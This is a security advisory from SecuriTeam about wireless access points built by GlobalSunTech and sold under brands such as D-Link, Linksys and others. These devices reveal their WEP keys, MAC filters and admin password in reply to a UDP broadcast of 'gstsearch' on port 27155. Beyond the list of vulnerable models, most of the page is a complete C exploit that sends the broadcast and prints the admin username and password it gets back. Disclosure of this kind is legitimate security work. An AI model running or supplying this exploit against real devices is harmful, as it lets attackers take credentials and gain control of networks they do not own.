SecuriTeam - Accesspoints Disclose WEP Keys, Password and MAC Filters

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

GlobalSunTech develops Wireless Access Points for OEM customers like Linksys, D-Link and others. Capturing the traffic of a WISECOM GL2422AP-0T during the setup phase showed a security problem.

Sending a broadcast packet to UDP port 27155 containing the string "gstsearch" causes the accesspoint to return WEP keys, mac filter and admin password. This happens on the WLAN Side and on the LAN Side.

Credit:
The information has been provided by Tom Knienieder and d k.

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Vulnerable systems:
* WISECOM GL2422AP-0T
* D-Link DWL-900AP+ B1 version 2.1 and 2.2
* ALLOY GL-2422AP-S
* EUSSO GL2422-AP
* LINKSYS WAP11-V2.2
* DI-614+ Firmware version 2.03

Exploit:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

typedef struct {
        char type[28];
        char name[32];
        char user[16];
        char pass[16];
}
__attribute__ ((packed)) answer;

int main()
{
        char rcvbuffer[1024];
        struct sockaddr_in sin;
        answer* ans = (answer *)rcvbuffer;
        int sd, ret, val;

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr("255.255.255.255");
        sin.sin_port = htons(27155);

        sd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sd < 0)
                perror("socket");

        val = 1;
        ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
        if (ret < 0)
        {
                perror("setsockopt");
                exit(1);
        }

        ret = sendto(sd, "gstsearch", 9, 0, &sin, sizeof(struct sockaddr));
        if (ret < 0)
        {
                perror("sendto");
                exit(1);
        }

        ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

        printf("Type : %s\n",ans->type);
        printf("Announced Name : %s\n",ans->name);
        printf("Admin Username : %s\n",ans->user);
        printf("Admin Password : %s\n",ans->pass);

        return 0;
}

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